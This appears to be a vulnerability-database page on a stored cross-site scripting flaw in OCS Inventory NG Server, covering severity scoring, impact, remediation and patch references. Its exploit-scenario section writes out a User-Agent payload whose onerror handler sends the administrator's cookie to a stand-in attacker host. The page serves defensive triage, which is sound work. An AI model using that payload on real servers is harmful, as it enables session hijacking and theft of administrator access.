Skip to main content

Ocs Inventory Ng Server EUVDEUVD-2026-19484

| CVE-2026-22675 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-04-06 VulnCheck GHSA-xwcw-3qx7-8hxm
5.1
CVSS 4.0 · Vendor: VulnCheck
View

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Impact

The CVSS v4.0 score of 5.1 reflects a medium-severity vulnerability with important limiting factors. The attack vector is network-based (AV:N) with low complexity (AC:L), but requires prior authentication by the victim (PR:L) and user interaction (UI:P) - the targeted authenticated user must navigate to the statistics dashboard. The CVSS vector indicates no direct confidentiality, integrity, or availability impact on the target system (VC:N, VI:N, VA:N), though there is limited scope impact (SC:L, SI:L), suggesting the JavaScript executes within the session context of the viewing user. Real-world risk is moderate: while no public proof-of-concept code or active CISA KEV designation is noted in the input data, the vulnerability is reliably exploitable once an attacker registers a rogue agent with a malicious User-Agent header. The persistent nature (stored XSS) increases risk compared to reflected XSS, as all subsequent views of agent statistics by any authenticated user will trigger the payload. Organizations with multi-user OCS deployments, shared administrator access, or untrusted network segments where agents can register are at elevated risk. The requirement for the victim to have authenticated access and view a specific page mitigates enterprise risk somewhat, but in typical small-to-medium IT environments where OCS is deployed, this is a common workflow.

Exploit ScenarioDerived

An attacker registers a rogue OCS Inventory agent by sending an HTTP request to the /ocsinventory endpoint with a malicious User-Agent header such as 'Mozilla/5.0 <img src=x onerror=fetch("https://attacker.com/steal?cookie="+document.cookie)>'. The payload is stored in the OCS database without validation. Days later, when a system administrator logs into the OCS web console and navigates to the statistics or agents dashboard to review inventory data, the malicious User-Agent string is rendered in the HTML without proper encoding. The browser parses the HTML tag and executes the JavaScript onerror handler, silently exfiltrating the administrator's session cookie to an attacker-controlled server. The attacker can then hijack the authenticated session to modify inventory records, disable agents, or extract sensitive system information from the inventory database.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 06, 2026

Stored cross-site scripting in OCS Inventory NG Server 2.12.3 and prior allows unauthenticated attackers to inject malicious JavaScript via User-Agent HTTP headers to the /ocsinventory endpoint, which is then stored and executed in the browsers of authenticated users viewing the statistics dashboard. The vulnerability requires user interaction (dashboard access) but affects all instances accepting agent registrations without input validation, creating a persistent attack surface for multi-user deployments.

RemediationAI

Upgrade OCS Inventory NG Server to a patched version released after commit 78faf2ca8b897141ba4d337d75692ab8e405bd4e. The upstream fix is available in the repository pull request at https://github.com/OCSInventory-NG/OCSInventory-Server/pull/483 and commit https://github.com/OCSInventory-NG/OCSInventory-Server/commit/78faf2ca8b897141ba4d337d75692ab8e405bd4e. Check the OCS Inventory NG releases page for the next patched version number following 2.12.3 and apply it. In the interim, network-based mitigations include restricting access to the /ocsinventory endpoint to trusted agent networks via firewall rules, implementing Web Application Firewall (WAF) rules to reject User-Agent headers containing script-like patterns or HTML special characters, and disabling untrusted agent registration capabilities if operationally feasible. Audit existing agent records for suspicious User-Agent entries and remove rogue agents.

Affected VersionsENISA

OCS Inventory NG Server 0 ≤2.12.3

Affected Packages

euvd ocs_inventory_ng_server no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

OCS Inventory NG Server is a network asset management and inventory solution that processes HTTP requests from inventory agents. The vulnerability stems from improper input validation and output encoding of the User-Agent HTTP header field. When unauthenticated agents submit requests to the /ocsinventory endpoint with malicious User-Agent values, the application stores these values in a database without sanitization (CWE-79: Improper Neutralization of Input During Web Page Generation). Subsequently, when authenticated administrators or operators view the statistics dashboard that displays agent information, the unsanitized User-Agent strings are rendered in the HTML response with insufficient character encoding, allowing embedded JavaScript to execute in the victim's browser context. The attack leverages the fact that User-Agent headers are typically trusted input vectors and the application's failure to apply context-appropriate output encoding (such as HTML entity encoding) when rendering user-supplied data in web pages.

Know when Ocs Inventory Ng Server gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 5.1 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (VulnCheck) · only source for this CVE.

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
Passive
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
None

Lifecycle Timeline

2
Patch released
Apr 06, 2026 - 21:46 nvd
Patch available
CVE Published
Apr 06, 2026 - 21:19 nvd
MEDIUM 5.1

DescriptionCVE.org

OCS Inventory NG Server version 2.12.3 and prior contain a stored cross-site scripting vulnerability that allows unauthenticated attackers to execute arbitrary JavaScript by submitting malicious User-Agent HTTP headers to the /ocsinventory endpoint. Attackers can register rogue agents or craft requests with malicious User-Agent values that are stored without sanitation and rendered with insufficient encoding in the web console, leading to arbitrary JavaScript execution in the browsers of authenticated users viewing the statistics dashboard.

Threat Intelligence Overview

EPSS Score
0.1%
Top 80% exploitable
Social Media
1
Sightings
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

26
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +26
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy